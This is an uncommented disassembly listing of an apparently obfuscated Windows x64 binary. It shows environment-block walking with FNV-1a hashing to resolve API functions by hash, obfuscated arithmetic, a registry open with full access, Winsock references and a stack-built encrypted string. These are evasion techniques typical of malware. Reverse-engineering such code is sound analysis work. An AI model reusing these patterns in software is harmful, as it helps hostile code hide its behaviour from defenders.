lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x550]
add bl, dl
add bl, r8b
jmp 0x1401fe25b
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
jmp 0x1401fe25b
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fe229
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fe209
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fe1bb
movabs rdx, 0xdc582daba1a1e692
mov ecx, r15d
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fe190
movabs rcx, 0x46b825ba4ddec99a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x550], cl
add r10, r15
sub r9, r15
jmp 0x1401fe2eb
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
add r8b, bl
sub r8b, sil
mov byte [rbp + r9 + 0x550], r8b
add rdi, r10
jmp 0x1401fe229
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x42
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x1401fe2eb
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, r8b
add bl, cl
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x550], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x550], r8b
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x1401fe2dc
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x16
movzx eax, byte [rbp + r9 + 0x550]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401fd789
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x1401fd786
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x16
jmp 0x1401fd776
lea r12, [rbp + 0x145e2f8]
jmp 0x1401fe352
lea r12, [rbp + 0x136aa36]
jmp 0x1401fe352
lea r12, [rbp + 0x550]
mov r10, qword [0x1404dbc30]
test r10, r10
jne 0x1401fe4c2
mov esi, r13d
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fe3ce
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401fe3c1
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401fe3b2
cmp edx, esi
jne 0x1401fe4a0
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401fe4a0
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401fe4a0
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401fe422
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401fe417
cmp edx, r14d
je 0x1401fe438
test r10d, r10d
jne 0x1401fe402
jmp 0x1401fe4a0
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1401fe4b5
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1401fe4b5
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401fe493
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x1401fe46f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x1401fe486
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401fe4b2
cmp qword [rbx + 0x30], r13
jne 0x1401fe382
mov r10, r13
mov qword [0x1404dbc30], r10
mov r15d, 1
mov qword [rsp + 0x40], r13
lea rax, [0x1404db4f8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404dbba8]
mov r12d, 8
test rdx, rdx
jne 0x1401fe65f
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r12w
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fe578
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401fe56a
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x1401fe559
cmp r8d, esi
jne 0x1401fe650
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1401fe650
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401fe650
mov edi, dword [r11 + 0x20]
dec ebx
lea r8, [rdi + rbx*4]
mov r9d, dword [r8 + r10]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x1401fe5cd
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x1401fe5c0
cmp r8d, r14d
je 0x1401fe5e2
test ebx, ebx
jne 0x1401fe5ab
jmp 0x1401fe650
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x1401fe658
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x1401fe658
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x1401fe621
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401fe613
jmp 0x1401fe636
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x1401fe629
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1401fe528
mov qword [0x1404dbba8], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404dbbe8]
test rbx, rbx
jne 0x1401fe7d7
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r12w
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fe6e2
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401fe6d5
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401fe6c6
cmp edx, esi
jne 0x1401fe7bb
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401fe7bb
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401fe7bb
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401fe73c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401fe731
cmp edx, r14d
je 0x1401fe752
test r11d, r11d
jne 0x1401fe71c
jmp 0x1401fe7b5
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x1401fe7d0
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1401fe7d0
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401fe794
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x1401fe786
jmp 0x1401fe7a9
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x1401fe79c
mov rbx, qword [r15]
mov r12d, 8
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401fe7cd
cmp qword [rbx + 0x30], r13
jne 0x1401fe696
mov rbx, r13
mov qword [0x1404dbbe8], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404dbbe0]
test rdx, rdx
jne 0x1401fe94f
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fe860
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401fe853
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401fe844
cmp edx, esi
jne 0x1401fe933
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401fe933
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401fe933
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401fe8ba
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401fe8af
cmp edx, r14d
je 0x1401fe8d0
test r11d, r11d
jne 0x1401fe89a
jmp 0x1401fe933
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401fe948
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401fe948
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401fe912
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401fe904
jmp 0x1401fe927
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401fe91a
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401fe945
cmp qword [rbx + 0x30], r13
jne 0x1401fe814
mov rdx, r13
mov qword [0x1404dbbe0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd8]
test rdx, rdx
jne 0x1401feabe
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fe9cf
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401fe9c2
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401fe9b3
cmp edx, esi
jne 0x1401feaa2
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401feaa2
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401feaa2
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401fea29
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401fea1e
cmp edx, r14d
je 0x1401fea3f
test r11d, r11d
jne 0x1401fea09
jmp 0x1401feaa2
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401feab7
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401feab7
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401fea81
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401fea73
jmp 0x1401fea96
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401fea89
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401feab4
cmp qword [rbx + 0x30], r13
jne 0x1401fe983
mov rdx, r13
mov qword [0x1404dbbd8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd0]
test rdx, rdx
jne 0x1401fec2d
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401feb3e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401feb31
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401feb22
cmp edx, esi
jne 0x1401fec11
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401fec11
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401fec11
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401feb98
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401feb8d
cmp edx, r14d
je 0x1401febae
test r11d, r11d
jne 0x1401feb78
jmp 0x1401fec11
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401fec26
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401fec26
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401febf0
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401febe2
jmp 0x1401fec05
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401febf8
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401fec23
cmp qword [rbx + 0x30], r13
jne 0x1401feaf2
mov rdx, r13
mov qword [0x1404dbbd0], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404dbbc8], r13
jne 0x1401fed9b
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fecaa
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401fec9d
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401fec8e
cmp edx, esi
jne 0x1401fed7f
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1401fed7f
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401fed7f
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x1401fed04
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401fecf9
cmp edx, r14d
je 0x1401fed1a
test r9d, r9d
jne 0x1401fece4
jmp 0x1401fed7f
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x1401fed94
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x1401fed94
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401fed5c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x1401fed4e
jmp 0x1401fed72
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x1401fed65
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401fed91
cmp qword [rbx + 0x30], r13
jne 0x1401fec5e
mov r9, r13
mov qword [0x1404dbbc8], r9
mov r8, qword [0x1404dbc00]
test r8, r8
jne 0x1401fee0c
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x1401fedf4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1401fedd8
cmp edx, 0x610c0de3
je 0x1401fee62
mov r8, qword [r8]
cmp r8, r10
je 0x1401fee02
cmp qword [r8 + 0x30], r13
jne 0x1401fedbe
mov r8, r13
mov qword [0x1404dbc00], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov edi, 1
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x1401fee5d
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x1401fee41
cmp ecx, 0xe463da3c
je 0x1401fee68
add r9d, edi
jmp 0x1401fee25
mov r8, qword [r8 + 0x30]
jmp 0x1401fee05
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404dbbf8]
test r10, r10
jne 0x1401feffb
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fef08
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401feefb
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401feeec
cmp edx, esi
jne 0x1401fefda
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401fefda
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401fefda
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401fef5c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401fef51
cmp edx, r14d
je 0x1401fef72
test r10d, r10d
jne 0x1401fef3c
jmp 0x1401fefda
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1401fefef
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x1401fefef
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401fefcd
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdi
jmp 0x1401fefa9
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdi
mov al, byte [r10]
test al, al
jne 0x1401fefc0
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401fefec
cmp qword [rbx + 0x30], r13
jne 0x1401feebc
mov r10, r13
mov qword [0x1404dbbf8], r10
mov edi, 1
lea r9, [rbp + 0x11c0]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404dbbf0]
test r8, r8
jne 0x1401ff17a
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401ff08c
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401ff07f
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401ff070
cmp edx, esi
jne 0x1401ff15e
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401ff15e
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401ff15e
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401ff0e0
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401ff0d5
cmp edx, r14d
je 0x1401ff0f6
test r11d, r11d
jne 0x1401ff0c0
jmp 0x1401ff15e
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x1401ff173
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x1401ff173
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x1401ff151
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdi
jmp 0x1401ff12d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdi
mov al, byte [r8]
test al, al
jne 0x1401ff144
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401ff170
cmp qword [rbx + 0x30], r13
jne 0x1401ff040
mov r8, r13
mov qword [0x1404dbbf0], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
cmp byte [0x1404db4d2], r13b
jne 0x140204271
mov byte [rbp + 0xeb0], 0x9b
mov byte [rbp + 0xeb1], 0x59
mov byte [rbp + 0xeb2], 0x80
mov byte [rbp + 0xeb3], 0x5b
mov byte [rbp + 0xeb4], 0xa0
mov byte [rbp + 0xeb5], 0x45
mov byte [rbp + 0xeb6], 0xbb
mov byte [rbp + 0xeb7], 0x47
mov byte [rbp + 0xeb8], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xeb9], 0x41
mov byte [rbp + 0xeba], 0xaf
mov byte [rbp + 0xebb], 0x43
mov byte [rbp + 0xebc], 0xde
mov byte [rbp + 0xebd], Ordinal_79
mov byte [rbp + 0xebe], 0xdd
mov byte [rbp + 0xebf], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xec0], 0xac
mov byte [rbp + 0xec1], Ordinal_79
mov byte [rbp + 0xec2], 0x86
mov byte [rbp + 0xec3], Ordinal_79
mov byte [rbp + 0xec4], 0x99
mov byte [rbp + 0xec5], 0x75
mov byte [rbp + 0xec6], 0x98
mov byte [rbp + 0xec7], 0x77
mov byte [rbp + 0xec8], __WSAFDIsSet
mov byte [rbp + 0xec9], WSACleanup
mov byte [rbp + 0xeca], 0xef
mov byte [rbp + 0xecb], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xecc], 0xe8
mov byte [rbp + 0xecd], 0x7d
mov byte [rbp + 0xece], 0xe2
mov byte [rbp + 0xecf], 0x7f
mov byte [rbp + 0xed0], 0x9c
mov byte [rbp + 0xed1], 0x79
mov byte [rbp + 0xed2], 0xbb
